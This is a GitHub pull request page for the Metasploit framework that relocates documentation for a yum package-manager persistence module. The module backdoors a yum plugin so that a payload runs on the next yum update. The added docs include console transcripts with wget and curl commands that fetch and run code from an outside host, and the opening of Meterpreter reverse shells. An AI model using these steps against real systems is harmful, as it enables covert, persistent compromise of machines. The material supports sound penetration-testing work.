-
Notifications
You must be signed in to change notification settings - Fork 14.5k
update yum to persistence module #20524
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
h00die
wants to merge
1
commit into
rapid7:master
Choose a base branch
from
h00die:modern_persistence_yum
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
+169
−133
Open
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
84 changes: 0 additions & 84 deletions
84
documentation/modules/exploit/linux/local/yum_package_manager_persistence.md
This file was deleted.
Oops, something went wrong.
112 changes: 112 additions & 0 deletions
112
documentation/modules/exploit/linux/persistence/yum_package_manager.md
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,112 @@ | ||
## Description | ||
|
||
This module will run a payload when the package manager is used. | ||
This module modifies a yum plugin to launch a binary of choice. | ||
`grep -F 'enabled=1' /etc/yum/pluginconf.d/` | ||
will show what plugins are currently enabled on the system. | ||
|
||
root persmissions are likely required. | ||
|
||
Verified on Centos 7.1 | ||
|
||
## Verification Steps | ||
|
||
1. Exploit a box that uses Yum | ||
2. `use exploit/linux/persistence/yum_package_manager` | ||
3. `set SESSION <id>` | ||
4. `set PAYLOAD cmd/unix/reverse_python` configure the payload as needed | ||
5. `exploit` | ||
|
||
When the system runs yum update the payload will launch. You must set handler accordingly. | ||
|
||
## Options | ||
|
||
### PAYLOAD_NAME | ||
|
||
Name of backdoor executable | ||
|
||
### PLUGIN | ||
|
||
Name of the yum plugin to target | ||
|
||
### PluginPath | ||
|
||
Plugin path to use default is (`/usr/lib/yum-plugins/`) | ||
|
||
## Scenarios | ||
|
||
### Tested on Centos 7.1 | ||
|
||
Initial access vector via web delivery | ||
|
||
``` | ||
resource (/root/.msf4/msfconsole.rc)> setg verbose true | ||
verbose => true | ||
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111 | ||
lhost => 111.111.1.111 | ||
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery | ||
[*] Using configured payload python/meterpreter/reverse_tcp | ||
resource (/root/.msf4/msfconsole.rc)> set srvport 8181 | ||
srvport => 8181 | ||
resource (/root/.msf4/msfconsole.rc)> set target 7 | ||
target => 7 | ||
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp | ||
payload => linux/x64/meterpreter/reverse_tcp | ||
resource (/root/.msf4/msfconsole.rc)> set lport 4545 | ||
lport => 4545 | ||
resource (/root/.msf4/msfconsole.rc)> set URIPATH l | ||
URIPATH => l | ||
resource (/root/.msf4/msfconsole.rc)> run | ||
[*] Exploit running as background job 0. | ||
[*] Exploit completed, but no session was created. | ||
[*] Starting persistent handler(s)... | ||
[*] Started reverse TCP handler on 111.111.1.111:4545 | ||
[*] Using URL: http://111.111.1.111:8181/l | ||
[*] Server started. | ||
[*] Run the following command on the target machine: | ||
wget -qO KOiqZchh --no-check-certificate http://111.111.1.111:8181/l; chmod +x KOiqZchh; ./KOiqZchh& disown | ||
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > | ||
[*] Transmitting intermediate stager...(126 bytes) | ||
[*] Sending stage (3045380 bytes) to 192.168.2.100 | ||
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 192.168.2.100:34470) at 2025-02-16 11:30:09 -0500 | ||
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/yum_package_manager | ||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp | ||
[msf](Jobs:2 Agents:2) exploit(linux/persistence/yum_package_manager) > sessions -i 1 | ||
[*] Starting interaction with 1... | ||
(Meterpreter 1)(/home/centos) > getuid | ||
Server username: root | ||
(Meterpreter 1)(/home/centos) > sysinfo | ||
Computer : centos71.localdomain | ||
OS : CentOS 7.9.2009 (Linux 3.10.0-1160.53.1.el7.x86_64) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
(Meterpreter 1)(/home/centos) > background | ||
[*] Backgrounding session 1... | ||
``` | ||
|
||
Persistence | ||
|
||
``` | ||
[msf](Jobs:1 Agents:1) exploit(linux/persistence/yum_package_manager) > set session 1 | ||
session => 1 | ||
[msf](Jobs:1 Agents:1) exploit(linux/persistence/yum_package_manager) > exploit | ||
[*] Command to run on remote host: curl -so ./lgtOaZox http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./lgtOaZox;./lgtOaZox& | ||
[*] Exploit running as background job 1. | ||
[*] Exploit completed, but no session was created. | ||
[msf](Jobs:2 Agents:1) exploit(linux/persistence/yum_package_manager) > | ||
[*] Fetch handler listening on 111.111.1.111:8080 | ||
[*] HTTP server started | ||
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg | ||
[*] Started reverse TCP handler on 111.111.1.111:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[*] Transmitting intermediate stager...(126 bytes) | ||
[*] Sending stage (3045380 bytes) to 222.222.2.222 | ||
[+] Plugins are enabled! | ||
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:53880) at 2025-02-16 11:30:59 -0500 | ||
[!] The service is running, but could not be validated. yum installed and plugin found, enabled, and backdoorable | ||
[*] Attempting to modify plugin | ||
[*] Backdoor uploaded to /tmp/7EtplboZD | ||
[+] Backdoor will run on next Yum update | ||
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/centos71.localdomain_20250216.3101/centos71.localdomain_20250216.3101.rc | ||
``` |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The yum plugin the module writes to wasn't getting cleaned up.
I've tested this and it works. I was originally attempting to execute the
sed
command viash -a "-c ...
while matching the entire lineos.system('setsid /home/msfuser/6RdLsBUL 2>/dev/null & ')
but was ran into some issues trying to escape all the special characters together properly.